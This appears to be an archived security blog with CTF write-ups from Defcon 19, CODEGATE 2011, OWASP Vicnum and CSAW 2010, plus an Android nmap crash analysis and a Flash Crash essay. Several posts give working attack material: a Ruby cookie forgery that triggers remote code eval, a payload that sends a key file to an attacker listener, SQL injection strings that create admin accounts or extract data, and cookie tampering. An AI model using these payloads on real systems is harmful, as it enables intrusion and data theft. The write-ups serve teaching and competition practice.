Security Black Swan

Defcon 19 CTF qualifiers: gb200

2011-06-06T15:27:00.000-07:00

Another challenge, concretely gb200. After connecting to the server we observed it was sending back some ordered numbered (000111222333444555 x 3) asking for a password, and then for some numbers.

$ ncat pwn522.ddtek.biz 6000
Never$olv3d!
000111222333444555000111222333444555000111222333444555
1
3
145350200111313244203511223232143550241432444500553500
1
2
invalid msg3
2
invalid msga
^C

After playing a bit, it can be observed that the output of the server is always the same characters but unordered, and that the service accepts a maximum of 4 digits. So maybe we need to find a key that is able to "reorder" again the string.

So, we need some scripting...

# db200_sol.py
import socket

def connect():
    HOST = 'pwn522.ddtek.biz'    
    PORT = 6000             
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(3)
    try:
        s.connect((HOST, PORT))
        s.send('Never$olv3d!\n')
    except Exception as e:
        return None
    return s

i=100
s=connect()

while 1:
    data1=None
    data2=None
    try:
        data1 = s.recv(1024)
        data2 = s.recv(1024)
        print '[RECV]: ', repr(data1)+repr(data2)
        data1='0'
        data2=str(i)
        i = i+1
        print '[SENT]: ', repr(data1)+repr(data2)
        s.send(data1)
        s.send(data2)
    except Exception as e:
        print '[ERROR]: ' + str(e)
        if (s &lt;> None):
            s.close()
        s=connect()
        continue
    
s.close()

If we run the previous script on the background and wait some minutes, we'll be able to obtain the following response from the service.

$ python db200_sol.py > db.txt&
$ cat db.txt | sort | uniq -c | sort | more
      1 [ERROR]: [Errno 32] Broken pipe
      1 [RECV]:  '0'"00111222333444555000111222333444555000111222333444555\nLet's not be too rough on our own ignorance; it's what makes America great!\n\n"
      1 [RECV]:  '0''00211022443145544200011122333145553122104443552553330\n'
      1 [RECV]:  '0''02454034521103233304013422435241154254253515523111000\n'
      1 [RECV]:  '0''03213030403235555504410122532443152411544102134152023\n'
      ^C

Solution: Let's not be too rough on our own ignorance; it's what makes America great!
Game over :).

Note: I've added the script here

Defcon 19 CTF qualifiers: pp300

2011-06-06T14:29:00.000-07:00

This is the solution for pp300 (http://pwn508.ddtek.biz:52719/).

The first try is looking against the Javascript counter. Nothing interesting, apart that if the current time meets the wanted date, the following message is printed.

Fiannly!

This is a dead end, but the wrong spelling of the word (Fiannly instead of Finnaly) can make people waste time in the wrong direction.

However, it can be observed that the cookie sent by the server (rack.session) is a heavy one, and at first glance seems that it's base64 encoded. However, decoding that value is translated to non-cleartext data, so no luck.

Now, instead of looking on internet more information about ('rack.session') or about the "sinatra" server, we do the same than in video-games: shoot first, ask questions later :). So, launch Burp, send to Intruder the request and do a "bit flipper" attack against the cookie. We cross the fingers and hope to be lucky like the last time.

After waiting some time, we obtained 5 invalid requests with a considerable size. That responses contains a stack trace of the application that discloses some source code. If we put all the lines together we'll obtain the following file.

set :bind, "127.0.0.1"
set :static, "true"
set :public, $wdir
puts "i am assrck"
url = "http://127.0.0.1:#{$options[:oport]}/"
get '/' do
  if session['mh7cJ%h99LPn1zSoh4,42!6e3t78Cw]i']
    puts "found session"
    #response = HTTPClient::get_content(Marshal::load(Zlib::Inflate.inflate(Base64.decode64(session['mh7cJ%h99LPn1zSoh4,42!6e3t78Cw]i']).chomp))).chomp
    nurl = Marshal::load(Zlib::Inflate.inflate(Base64.decode64(session['mh7cJ%h99LPn1zSoh4,42!6e3t78Cw]i']).chomp))
    puts "attempting fetch from #{nurl}"
    $stdout.flush
    response = HTTPClient::get_content(nurl).chomp

    mcode = Zlib::Inflate.inflate(Base64.decode64(response))
    puts "got mcode: #{mcode}"
    $stdout.flush
    
    #bp = eval(Zlib::Inflate.inflate(Base64.decode64(response)))
    bp = eval(mcode)
    else
      puts "did not find session"
      session['eNqF0M0KwjAMAOCLB9nZBwjZpB1sy92t'] = "eNqF0M0KwjAMAOCLB9nZBwjZpB1sy92t0KNP4MVK6hPsBfLwptoON5imtBTy9Sc5HO8nbGA3mMhWeN7Nz3PQ+CUmHv4ICMyEPwURx2ERnR99twYiBO2jiFGBheDHZXSsgECKoCdEH1hy2nKKwcAiKC2tv2RA710tiFhE7Hs0sTzwuSk6F/RY9d3SREKePqavpkea9e9BUh8CWGAWucqmGxlQqiE4h7VxG6Epm4Fy5htv7zAGtT5dtNJpSvW21QtSqV5v"
      session['eNpj4YjmUTJTIBbE6+iq6qvWcClZEKtc'] = "eNpj4YjmUTJTIBbE6+iq6qvWcClZEKtcHUTH6OurxhCjCaYBrElVv0aVsCZ9INQE6wVq1gXyibEpJj5eH2SXqoaqgoK1goKqJtAmYoNBNUZVB0xxKZkQHXLqurqq6lwAdh80Ag=="
      session['mh7cJ%h99LPn1zSoh4,42!6e3t78Cw]i'] = Base64.encode64(Zlib::Deflate.deflate(Marshal::dump(url),9))
      session['eNqVlD1uwzAMhZcORQ5REFlqF1A4BujQ'] = "eNqVlD1uwzAMhZcORQ5REFlqF1A4BujQJccoAdqD4dFDMmQgfPZKlKif2EERD7Yl8Ynk+2S/vf9+HM9fMMMCI9zgChPc4d/x4Xie4bVr9poFUN+pWWlGWM8sXjNKGsgzkTSP0WtuFjucGpFs3r71fvOa6wC7ifKI2kKuXjPlMiR1pg0QhWnnmIGoTjR5zT3XTkHCzq1rybYGlaQITXQ/BD5FxG7ds3d1TFmT+RC3ZvHJpevEemlTUvhU4RQjEIHBP/294475J65L5lMB8W5fQmwPEMVRoiJJbJWPeUW6j2q4R9tIJaphLHzMXtSaLxrTFyRdlKj/hY9Z0oXmk8Ya87G+N6zOZOJj7VGoIDhISRLt6Jix5DU+kKiR1TUEm/UcfD4eqMxHMqKIh9lQYT2NPtD4tKczFi+2MbWJjM/OicaCjZo14yN1Dtx8PY3I+MijRO1A4uRYtackPvLYS47bfveS+MjTL3pHE/m8+n/7A+bK++I="
      b = eval(Zlib::Inflate.inflate(Base64.decode64(HTTPClient::get_content(url).chomp)))
      b.call
      end
  end

Basically we are interested on the eval function that execute code from one URL that we can control, as this information is taken from the cookie.

nurl = Marshal::load(Zlib::Inflate.inflate(Base64.decode64(session['mh7cJ%h99LPn1zSoh4,42!6e3t78Cw]i']).chomp))
response = HTTPClient::get_content(nurl).chomp 
mcode = Zlib::Inflate.inflate(Base64.decode64(response)) bp = eval(mcode)

So, we need to modify the cookie that is sent to the browser, in order to execute the code that we wanted :). In the end, the most easy way was downloading sinatra, to avoid playing with the weird Base64 implementation of Ruby (RFC 2045 by default, instead of the most common RFC 4648).

The following code will generate a cookie that will make the application to connect to our server.

#web_v0_3.rb
require 'sinatra'
require 'Zlib'
require 'Base64'
enable :sessions
set :port, 31337

  get '/' do
    session['eNqF0M0KwjAMAOCLB9nZBwjZpB1sy92t'] = "eNqF0M0KwjAMAOCLB9nZBwjZpB1sy92t0KNP4MVK6hPsBfLwptoON5imtBTy9Sc5HO8nbGA3mMhWeN7Nz3PQ+CUmHv4ICMyEPwURx2ERnR99twYiBO2jiFGBheDHZXSsgECKoCdEH1hy2nKKwcAiKC2tv2RA710tiFhE7Hs0sTzwuSk6F/RY9d3SREKePqavpkea9e9BUh8CWGAWucqmGxlQqiE4h7VxG6Epm4Fy5htv7zAGtT5dtNJpSvW21QtSqV5v"
    session['eNpj4YjmUTJTIBbE6+iq6qvWcClZEKtc'] = "eNpj4YjmUTJTIBbE6+iq6qvWcClZEKtcHUTH6OurxhCjCaYBrElVv0aVsCZ9INQE6wVq1gXyibEpJj5eH2SXqoaqgoK1goKqJtAmYoNBNUZVB0xxKZkQHXLqurqq6lwAdh80Ag=="
    session['mh7cJ%h99LPn1zSoh4,42!6e3t78Cw]i'] = Base64.encode64(Zlib::Deflate.deflate(Marshal::dump("http://w.x.y.z:31337/"),9))
    session['eNqVlD1uwzAMhZcORQ5REFlqF1A4BujQ'] = "eNqVlD1uwzAMhZcORQ5REFlqF1A4BujQJccoAdqD4dFDMmQgfPZKlKif2EERD7Yl8Ynk+2S/vf9+HM9fMMMCI9zgChPc4d/x4Xie4bVr9poFUN+pWWlGWM8sXjNKGsgzkTSP0WtuFjucGpFs3r71fvOa6wC7ifKI2kKuXjPlMiR1pg0QhWnnmIGoTjR5zT3XTkHCzq1rybYGlaQITXQ/BD5FxG7ds3d1TFmT+RC3ZvHJpevEemlTUvhU4RQjEIHBP/294475J65L5lMB8W5fQmwPEMVRoiJJbJWPeUW6j2q4R9tIJaphLHzMXtSaLxrTFyRdlKj/hY9Z0oXmk8Ya87G+N6zOZOJj7VGoIDhISRLt6Jix5DU+kKiR1TUEm/UcfD4eqMxHMqKIh9lQYT2NPtD4tKczFi+2MbWJjM/OicaCjZo14yN1Dtx8PY3I+MijRO1A4uRYtackPvLYS47bfveS+MjTL3pHE/m8+n/7A+bK++I="
    print "\nCookie: #{session}\n"    
  end

So, we just need to repeat any valid Http request using the cookie previously generated, and the application will connect to a listener that we put on our server. We just need to send an adequate payload...

#reverseShell.txt
command = `cat key`
data = Base64.encode64(command)
data = data.gsub!(/[\n]+/, "");
nurl = "http://w.x.y.z:31338/?" + data  
HTTPClient::get_content(nurl).chomp

However, on the line 10 of the server, we can observe that the server is expecting a payload compressed with Zlib and then converted to Base64

nurl = Marshal::load(Zlib::Inflate.inflate(Base64.decode64(session['mh7cJ%h99LPn1zSoh4,42!6e3t78Cw]i']).chomp))

So we'll create our payload with the following code.

#genPayload.txt
#genPayload.rb
require 'Base64'
require 'Zlib'
file = File.new("reverseShell.txt", "r")
contents = ""
file.each {|line|
  contents << line
}
puts Base64.encode64(Zlib::Deflate.deflate(contents))

And then we'll solve our challenge: :)

$ ruby genPayload.rb > r5.txt
$ ncat -kl w.x.y.z 31337 -c "cat r5.txt"&
$ ncat -klv w.x.y.z 31338
Ncat: Version 5.35DC18 ( http://nmap.org/ncat )
Ncat: Listening on w.x.y.z:31338
Ncat: Connection from 94.194.214.47:26254.
GET /?SVNCTi0xMzogOTc4LTE5MzE5OTM0OTQK HTTP/1.1
Host: w.x.y.z:31338

echo -n "SVNCTi0xMzogOTc4LTE5MzE5OTM0OTQK" | base64 -d
ISBN-13: 978-1931993494

Note: I've added all the code here.

CODEGATE YUT 2011: vuln200 writeup (unauthenticated solution)

2011-03-08T16:06:00.001-08:00

I've read some solutions to CODEGATE CTF 2011 Vuln200 and I think I can add two things: another way to access to the "admin" section and another interesting (but really slow) way to solve this challenge.

Basically, this challenge was a SQL Injection but the flag were only shown if you were logged as the user "Administrator". What we're going to show is how to solve this challenge... unauthenticated :).

Standard Solution (Recommended):

Create an account, login as that user, spot an easy SQLi but... no tables or data with our flag :(.

One tip suggested to "login as Administrator" so let's do it. On the write-ups that I have seen, the Teams were reusing "Administrator" added by other teams or creating the account using the cool trick of adding spaces to the end of the login_name.

Another way to create an "Administrator" account was using a SQLi that was present on the register.php page. First, the page check that the user is not registered and, if this condition is met, then the user was created.

So, we have an INSERT statement, how we can use that? If you test the parameter, you'll find that the parameter 'email' is vulnerable. So, let's add a new Administrator account using the following request (observe how I use the MD5() function, as the database was storing the passwords in this format)

POST /register.php?q=944a5ae3483ed5c1e10bbccb7942a279 HTTP/1.1
Host: 221.141.3.112
[...]

fname=test_name&lname=last_name&username=login_name27393&password=password&email=asdf@example.com'),('name','surname','Administrator',MD5('mypassword'),'asdf@example.com')%23

Now we can login into the application and get the flag using a UNION query, as it's already explained on another writeups.

Unauthenticated Solution (or converting vuln200 into vuln400+):

So, we have a SQL injection in the register page... how can we use it? It's interesting because this can be seen in real life.

The first thought can be to use SLEEP() and you can get Binary Search with that, but I chose to use a different approach, just for fun.

Step 1) Assume that we want to read the value of USER() on the database. How we can do it? Easy, read on byte of the response... convert to INT and then store that information in the parameter "password" using SQLi. With that, we'll have created a new user with a password that it's the first byte of the text that we want to extract.

email=asdf@example.com') ('name','surname','random_user_byte1',(SELECT MD5(SUBSTRING(USER(),0,1)) FROM dual),'mypassword'),'asdf@example.com'%23

Step 2) Then, to obtain that byte back, we just need to bruteforce the login page with the 'random_user_byte1' account. With this account, the valid password will be the first byte of the data that we want to retrieve.

Step 3) Repeat, wait++ and enjoy (taking care that a new we need to register a unique username on each request).

This approach is *really* slow, but it can be parallelize easily and also you can convert it to a Binary Search Algorithm (you'll make 2 request, but you won't need to wait until the SLEEP() function has returned). Seems that the CODEGATE Team knew that and (I'm guessing) that's why they added a lot of random rows on the table that was storing the flag.

So, if we want to cut off the hours required to find the flag we need to find another way... Once you have starting to download the data on the table raw_data you can see that it's a base64 string with plenty of invalid hashes. So, why we are not using the power of the SQL language to Query the database?

Something like that will be awesome:
SELECT raw_id from table where BASE64_DECODE(raw_data) like '%flag%

Sadly, as far as I know, there is no a function on MySQL like BASE64_DECODE, so no cigar this time as we cannot search on the table for bas64 strings that contains the text "flag" :(. However, if you think a bit about that, you'll find a solution for our data-mining. But I'll explain later in another post. See u!

Get the PoC code here.

CODEGATE YUT 2011: Issue 500 writeup

2011-03-07T16:03:00.000-08:00

[DISCLAIMER]: ~~I didn't check if the flag is valid (the server doesn't accept anymore sending new flags), so maybe more work is required. However, seems that the flag might be valid. If not, let me know.~~ Seems that the solution was correct, check another writeup made by Leet more here.

The past weekend was the CODEGATE Quals, but you still can play. I've arrived a bit late :'(, but here it goes the (complete?) writeup for Issue 500.

Objective:
Find a key.
you can get the key on URL : Link

Solution:

So... we need to find a valid key. If we enter random data, the server issues an error.

So, first step, take a look on the folder... and we'll find a file that we can download :).

After downloading the file, let's see if we can guess the filetype:

$ file 5645E2F51AC5BC420272E0A342164314
5645E2F51AC5BC420272E0A342164314: x86 boot sector, code offset 0xc0

Cool, we have a boot sector and we need to find a key. Opening with IDA (remember, 16 bits) we can see some strings like:
seg000:05DA "Wrong password:"
seg000:05FA "Enter password:"
seg000:05FA "\x02 gate"

Si it seems that we need to find a password. Reading at the code, we spot two interesting parts:

A loop that reads the keyboard input on seg000:021B (hint: the code is using INT 16H GET ENHANCED KEYSTROKE)

seg000:021B getChar():
seg000:021B
seg000:021B                 mov ah, 10h
seg000:021D                 int 16h ; KEYBOARD - GET ENHANCED KEYSTROKE
seg000:021D                     ; Return: AH = scan code, AL = character
seg000:021F                 cmp ah, 1
seg000:0222                 jz short loc_24F
seg000:0224                 cmp ah, 0Eh
seg000:0227                 jz short loc_25D
seg000:0229                 cmp ah, 1Ch
seg000:022C                 jz short loc_26B
seg000:022E                 cmp ah, 0E0h ; 'Ó'
seg000:0231                 jz short loc_26B
seg000:0233                 cmp al, 21h ; '!'
seg000:0235                 jb short getChar
seg000:0237                 cmp al, 7Eh ; '~'
seg000:0239                 ja short getChar
seg000:023B                 cmp di, 5
seg000:023E                 jnb short getChar
seg000:0240                 mov [bx+di], al
seg000:0242                 inc di
seg000:0243                 push bx
seg000:0244                 mov ax, 0E2Ah
seg000:0247                 mov bx, 7
seg000:024A                 int 10h ; - VIDEO - WRITE CHARACTER AND ADVANCE CURSOR (TTY WRITE)
seg000:024C                 pop bx
seg000:024D                 jmp short getChar

A condition check that:

Goes to a special section than read the disk if the condition is meet (think like the HD is now in "unlocked mode")
If it's false, decrements a counter (max_tries?), prints an message and then start the getPassword() loop again

seg000:0289 checkPassword:
seg000:0289                  mov cl, 10h
seg000:028B                  xor dx, dx
seg000:028D                  mov si, 7E7Ah
seg000:0290                  cld
seg000:0291
seg000:0291 calcPasswordHash:
seg000:0291                  lodsb
seg000:0292                  call calc_hash
seg000:0295                  dec cl
seg000:0297                  jnz short calcPasswordHash
seg000:0299                  cmp dx, ds:7FFAh ;dx==0x2002
seg000:029D                  jz short goodPassword
seg000:029F                  mov si, 7FDAh
seg000:02A2                  call print_String
seg000:02A5                  call sub_358
seg000:02A8                  dec byte ptr ds:7E79h ;numTries
seg000:02AC                  jnz loop_Input
seg000:02B0                  jmp short maxTriesReached
seg000:02B2 goodPassword:
seg000:02B2                  mov bx, 7E00h
seg000:02B5                  mov cx, 5
seg000:02B8                  mov dx, 80h ; 'Ç'
seg000:02BB                  mov ax, 201h
seg000:02BE                  int 13h ; DISK - READ SECTORS INTO MEMORY
seg000:02C0                  jnb short loc_2CA
seg000:02C2                  mov si, 7D81h
seg000:02C5                  call print_String
seg000:02C8
[...]
seg000:031D maxTriesReached:
seg000:031D                  mov ax, 40h ; '@'
seg000:0320                   mov es, ax
seg000:0322                   assume es:nothing
[...]
seg000:032D                  push 0
seg000:0330                   retf
seg000:0331

So, seems that we've spotted the algorithm. But before, we can see that the references to some variables are meaningless, because the align/offset are not correct. It's easy to guess, as the variables for sure are pointing to the string references ("Wrong password", "Enter password",...) that we've seen before.

So, if you can see properly all the string references, launch IDA with "Loading offset" to 0x00007A00. Another quick and dirty options is patch manually all the references to point to the string.

Next step will be bruteforcing a valid password: we can try to reverse the function "encrypt_pwd" (basic XOR operations) or bruteforce it.

But, before solving that, we need to know more about the password that is entered by the user:

First, looking at the code, no more than 5 characters seems to be written to the temp_password

seg000:023B                 cmp di, 5
seg000:023E                 jnb short getChar
seg000:0240                 mov [bx+di], al    ;bx=offset temp_password
                                               ;di=pointer
                                               ;al=read char
seg000:0242                 inc di

The password is of 16 bytes of length (0x10), and it's initialized with an space ' ' (0x20) except by the characters that the user entered previously.

seg000:027D                 mov al, 20h ; ' '
seg000:027F
seg000:027F pad_password:
seg000:027F                 cmp di, 10h   ;di=number of readed key-strokes
seg000:0282                 jnb short checkPassword
seg000:0284                 mov [bx+di], al
seg000:0286                 inc di
seg000:0287                 jmp short pad_password

So, with this information, now we can do a bruteforce attack. Basically, we need to replicate the 'encrypt_pwd' function and iterate over all the passwords until we found a collision:

password=' ' x 16
while (calcPasswordHash(password) != 0x2002)
    iterate(password[0..5]) //aaaaa baaaa caaaa
print "Found" + password[0..5]

I implemented the code in MASM, copy and paste the code and creating a bruteforce loop. In one second, we have at least one valid collision "KD#"

More keys:

MLJKE
FKBKF
DNKHG
NDIFI
ECAFJ
GFHEK
BCIBL
KAHAN

As we can see, the algorithm is quite easy to break, basically because:

XOR algorithm xD
Password constrains (only uses 5 first bytes of the password, rest are padding with ' ' --0x20--)
The hash is checked only against 2 bytes of the key (0x2002), so it's easy to check for collisions

As a reference, the source code (yep, i know, crappy code). If you prefer, you can download it from here.

; CODEGATE 2011 issue 500
include \masm32\include\masm32rt.inc
;
.data
     item dd 0
     MIN_CHAR db 40h
     MAX_CHAR db 50h
     temp_passwd db 10h dup(' '),0
     password_ok db 2,' gate'
.code
start:
     call main
     exit

main proc
     cls
     mov ebx, offset temp_passwd
     mov edi, 5
     mov al, 20h
loc_27F:
     cmp edi, 10h
     jnb short genNewPassword
     mov [ebx+edi], al
     inc di
     jmp short loc_27F
genNewPassword:    ;Sloppy code to implement bruteforce (aaaaa,baaaa,...)
     mov cl,MIN_CHAR
     mov dl,MAX_CHAR

     mov ebx, offset temp_passwd
     inc BYTE PTR [ebx]
     cmp BYTE PTR [ebx],dl
     jne tryPassword

     mov BYTE PTR [ebx],cl
     inc BYTE PTR [ebx+1]
     cmp BYTE PTR [ebx+1],dl
     jne tryPassword

     mov BYTE PTR [ebx+1],cl
     inc BYTE PTR [ebx+2]
     cmp BYTE PTR [ebx+2],dl
     jne tryPassword

     mov BYTE PTR [ebx+2],cl
     inc BYTE PTR [ebx+3]
     cmp BYTE PTR [ebx+3],dl
     jne tryPassword

     mov BYTE PTR [ebx+3],cl
     inc BYTE PTR [ebx+4]
     cmp BYTE PTR [ebx+4],dl
     je end_main
     jmp tryPassword

tryPassword:
     xor eax, eax
     xor ebx, ebx
     xor ecx, ecx
     xor edx, edx
     mov cl, 10h
     xor dx, dx
     mov esi, offset temp_passwd
     cld
enc_loop:
     lodsb
     call checkPWD
     dec cl
     jnz short enc_loop
     cmp dx, word ptr ds:password_ok ;0x2002
     jz short key_found
     ;print "Wrong password",10,10
     ;mov ebx, offset temp_passwd
     ;print ebx,13,10
     jmp genNewPassword

   key_found:
     print "Found!:",13,10
     mov ebx, offset temp_passwd
     print ebx,13,10
     jmp genNewPassword

end_main:
     ret

main endp

; obtained from Disassembling
checkPWD proc near
     push ax
     push cx
     mov ah, al
     xor al, al
     xor dx, ax
     mov cl, 8
  loc_372: ; CODE XREF: sub_368+14 j
     shl dx, 1
     jnb short loc_37A
     xor dx, 1975h
loc_37A: ; CODE XREF: sub_368+C j
     dec cl
     jnz short loc_372
     pop cx
     pop ax
     retn
checkPWD endp
end start

Vicnum The Game Challenge -- OWASP AppSec EU 2011

2011-02-22T14:46:00.000-08:00

Just a quick post about this nice and quick challenge. You can still play here, and congratulations to the winner Steve van der Baan (see his solution here).

Basically, the webapp choose a 3 digits random number that we need to guess, but finding a way to:

Hack the Game: Guess with 0 tries (yep, better than a lucky guess) and with a number > 3 digits (1337, for example)
Find a database player with the worst possible score and place another record in the database with that player’s name concatenated to your name and with a positive score. Something like "worst_player+"

First step: Hack the Game

Looking at the server response, it can be observed a base64 encoded value:

If you decode it (469) and enter this number... you'll guess the value :)

However, it'll put that you tried once... how to put "0 guesses"? Easy, once you get one valid guess the server issues the following cookies
Milano=0012AA9B12good_username_ Brussels=0029A9B91crisp1; Geneva=92BEF345Apecan469
It's easy to spot the meaning of the cookies

Milano==username
Brussels==number_of_tries
Geneva==guessed_number

So, lauching the following request will get us hack the first part:
GET /vicnum4.php HTTP/1.1
Host: vicnum.ciphertechs.com
Referer: http://vicnum.ciphertechs.com/cgi-bin/vicnum2.pl
Cookie: Milano=0012AA9B12good; Brussels=0029A9B91crisp0; Geneva=92BEF345Apecan1337

Second step: Hack the Database

After guessing properly the number, the webapp allows to search for all the users that have guessed the number. It's a simple SQL injection

So, injecting the following query on the search feature will list all the users

player='+or+'1'%3d'1 => ' or '1'='1

And, after wasting some minutes trying to parse the server response I realized that I could be able to use the own SQL Injection to give me the "worst player"...

player='+union+select+min(count),'1','1','1'+from+results+where+'1'%3d'1 => ' union select min(count),'1','1','1' from results where '1'='1

So, we'll spot the user "appseceu" with -214748348 guesses, so seems that we have now the username. Finally, using the trick used on first part (changing cookies), we solve the challenge:

GET /vicnum4.php HTTP/1.1
Host: vicnum.ciphertechs.com
Referer: http://vicnum.ciphertechs.com/cgi-bin/vicnum2.pl
Cookie: Milano=0012AA9B12goodappseceu_username_; Brussels=0029A9B91crisp1; Geneva=92BEF345Apecan1337

Solved :). Thanks for this mini-webchallenge. As a reminder, the 21st of each month will be published a new challenge until the conference in June, so stay tuned to @appseceu.

Bonus Track:
Btw, a nice XSS :)

Regards,
Alex

Getting fun with Android

2011-02-20T11:46:00.000-08:00

After playing a bit with Android, i realized two things:

I like it
It´ll offer new interesting security-related challenges.

Also, I found two interesting things that, even public, I was not aware, so hope that help anyone.

HttpOnly cookies are not working on Android

It was already known (here and here), but I was happily surprised that Android doesn´t implement the HttpOnly cookies. So, right now, any XSS attack against this platform is much more easier as we have access to the cookies using JS code.

The good news is that, at least, "secure cookies" are implemented :).

Nmap SIGSEGV (or getting fun with Android libc implementation)

First thanks to @k0st as he was really helpful since my finding (and @timb_machine for pointing me to @k0st). Now, this bug is fixed on the latest Nmap SVN.

Basically, latest version of nmap was crashing on my Android when and inexistent hostname was entered:
./nmap --datadir /data/local/nmap/share/nmap -oA scan www.google.com => OK
./nmap --datadir /data/local/nmap/share/nmap -oA scan eeeeeeeeeeeeeee => SIGSEV

Program received signal SIGSEGV, Segmentation fault.
0xafd2d3f4 in freeaddrinfo () from /system/lib/libc.so
(gdb) bt
#0  0xafd2d3f4 in freeaddrinfo () from /system/lib/libc.so
#1  0x000b2c54 in TargetGroup::parse_expr ()
#2  0x0007bb24 in nexthost ()
#3  0x00077248 in nmap_main ()
#4  0x00072154 in main ()

it was easy to recognize a NULL dereference, but I had one question in my head... why this is not happening on Linux?. That´s because Android implements it's own tiny and optimized version of the libc (Bionic)... On Linux libc a check is done in order to avoid a NULL dereference, but not in Bionic.

Linux
 freeaddrinfo(NULL)  -> Safe
Android (and maybe another platforms)
 freeaddrinfo(NULL)  -> Crash

This issue is public (here and here) but I guess that this is not the first (nor the last) bug that we´ll see on applications "ported" to Android, so just take extra care to not introduce new bugs because of the different implementations.

As a reference, I append the original text.

PoC (Android 2.2)
./nmap --datadir ../share/nmap asdfasdfasdf

Basically the problem is the different implementation between libc and Android "bionic libc". See here


Linux
 freeaddrinfo(NULL)  -> Safe
Android
 freeaddrinfo(NULL)  -> Crash

So, in Android systems the problem is a NULL dereference in TargetGroup.cc TargetGroup::parse_expr (lines 214-223)

      addrs = resolve_all(target_net, AF_INET);
      for (addr = addrs; addr != NULL; addr = addr->ai_next) {
        if (addr->ai_family != AF_INET)
          continue;
        if (addr->ai_addrlen &lt; sizeof(ss)) {
          memcpy(&ss, addr->ai_addr, addr->ai_addrlen);
          resolvedaddrs.push_back(ss);
        }
      }
      freeaddrinfo(addrs);

The resolve_all() function is calling the libc function getaddrinfo. (tcpip.cc line 371)
  rc = getaddrinfo(hostname, NULL, &hints, &result);
  if (rc != 0)
    return NULL;

If the system try to resolve an unknown host like "asdfasdf", the Android bionic libc will return an EAI_NODATA (7). See here
So, as the rc !=0 (is EAI_NODATA==7) , the resolve_all query returns NULL, and then, when it's called the following piece of code
 freeaddrinfo(addrs);  //addrs is NULL in this case

it will create a NULL dereference raising the SIGSEV, as the "bionic libc" doesn't check for NULL. Another curiosity is that Android is returning EAI_NODATA (7) that differs from  Linux EAI_ADDRFAMILY (1).

Patch:
if (addrs)
 freeaddrinfo(addrs)

"Flash Crash", Targeted Attacks And Global Security

2010-10-05T14:15:00.000-07:00

Almost 6 month later of the "Flash Crash" on the stock market two agencies of USA (SEC/CFCT) have released an executive summary with the "official" explanation to this crash.

Basically, the Dow Jones drop around 10% on minutes, affecting heavily to a foreign markets and some companies. For example, this day Accenture (ACN) dropped its value from $30 to $0.01... in 7 seconds!

From $30 to $0.01 in 7 seconds (!)

Officially, the blame is over one company "Waddell & Reed" as seems that it started to sell a lot of futures contracts (around 75000) on the S&P 500 stock market without explanation. However, there are some dark points on the history (unexplained) like how the "market makers" were not able to keep the liquidity of the market on safe limits.

So now I saw a great flaw on all of this system, and I fear about a targeted attack from bad guys. You don't need to compromise a lot of companies. Only need to focus on small groups of investment companies, compromise successfully only one broker computer and wait...

Then, it is only required to trigger a "human error" that could make enormous profit for the bad guys. Imagine the ROI of buying 1 million of Accenture stocks at 1 cent, and then wait (5 min) until the markets recover from that. Yep, around x3000 boost (!). Sure a lot of people will invest millions to obtain this profit.

Luckily the famous Stuxnet focused on SCADA systems, because if it has been focused on the stock market we could have seen a complete different history.

Another good thing is that, after this "flash crash", some measures have been taken (Circuit Breaker) in order to mitigate things like that, but I'm don't know why I'm don't feel safe enough...

CSAW CTF - Crypto Writeup (crypto1-crypto3): The easy way

2010-10-02T04:03:00.000-07:00

UPDATE #1 (2010-10-06): Marcin has updated his blog with the description of all the CRYPTO challenges. Take a look here if you want to learn the proper way to solve that ;p.

UPDATE #2 (2010-10-11): The CSAW CTF Team has published the official solutions of all of the challenges. Take a look here.

First, thanks for CSAW team for creating this CTF, it was amazing :). Also, thanks to the people in my team, the next time we´ll do better ;p.

I'm usually scared of crypto challenges, but on CSAW i approach them on a creative/lazy way. Forget your crypto, the latest padding attacks and whatever. We are hackers, we usually find a way to solve things, but this time won't be on the elegant way ;p.

Do you want to solve 3 challenges (1200 points) on 30 min?

Challenge 1

After entering your username/team name, the server issue a new cookie (SID) that contains a value ciphered with Base64.

Looking at the page, we obtain a role=5, but we need to obtain a role 0 to obtain the key. So let's play a bit with the cookie, changing its values to see what happen...

Normal message:
You're role is level 5, but you need a role level of 0 to continue (normal message)

Error messages:
('need more than 1 value to unpack',)

Reason: Sorry, an error had occurred.

Reason: Sorry, an error has occurred. (strange, "has" instead of "had")

File "csaw.py", line 372, in challenge1
    padding_length = struct.unpack("B", ptext[-1])[0]
IndexError: string index out of range

File "csaw.py", line 367, in challenge1
    ptext = aes_decrypt(sid.value, CSAW_CRYPTO_1_KEY, codec='base64')

File "/home/csaw/csaw/utils.py", line 122, in aes_decrypt
    raise IllegalBlockSizeError(16)
IllegalBlockSizeError: Input length must be multiple of 16 when decrypting with padded cipher

Ok, so we have an AES crypto scheme with padding, with a lot of error messages, but wait... As the application decrypt the cookie, can we manage to create a cookie which decrypted fool the application to give us a role=0?.

Let's launch Burp (an amazing tool, btw) and use the Intruder feature, selecting the payload "bit flipper". Burp will flip one bit of every char of the original cookie.

GET /challenge1 HTTP/1.1
Host: 128.238.66.100:30008
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-gb,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Cookie: SID=§1VPLGn4HRGWuoSZUKm1LJVCCQ00Wde6F7rF69B6lbdrcjfimsRn1fR5Xj-cMXacA6Tk0-nq-opzgBolRezQJ_Q§

We wait Burp to finish the attack, and after 688 request, we take a look of the results. Luckily, I found 7 different cookies values that give us the flag...

     Cookie: SID=1VPLGn4HRGWeoSZUKm1LJVCCQ00Wde6F7rF69B6lbdrcjfimsRn1fR5Xj-cMXacA6Tk0-nq-opzgBolRezQJ_Q

    Congratuations CHA (of team LENGE)! You have successfully completed

       CSAW 2010 Crypto Challenge #1.

    Here's your flag: 43fb994b59e8bb99d99ef969d773ea98

Challenge 2

Similar challenge that before, however the previous trick is not working. However, on some errors it can be spotted the following error message.

   You're role is currently level L, however this area requires a role level of 0.

So, we managed to alter the level with a modified cookie. I analysed the cookie, looking for which modifications on the original cookie allows changing the user level.

On my case, seems that 3 chars could potentially affect the role level...
   Cookie:   c2=jif5p_ozkevQZR5PPRk1YOvFhXuguXGfRclYWXn8oadaFywF7jdTjEWDP3Km6775aSmy-sgPL7qgeD1Lo5eHNw

So, again, launch Burp and create an "Intruder attack", but this time, we'll create a brute force of this 3 characters, using the following charset [a-zA-Z0-9]. Yep, around 200k request, but we'll finish before that.

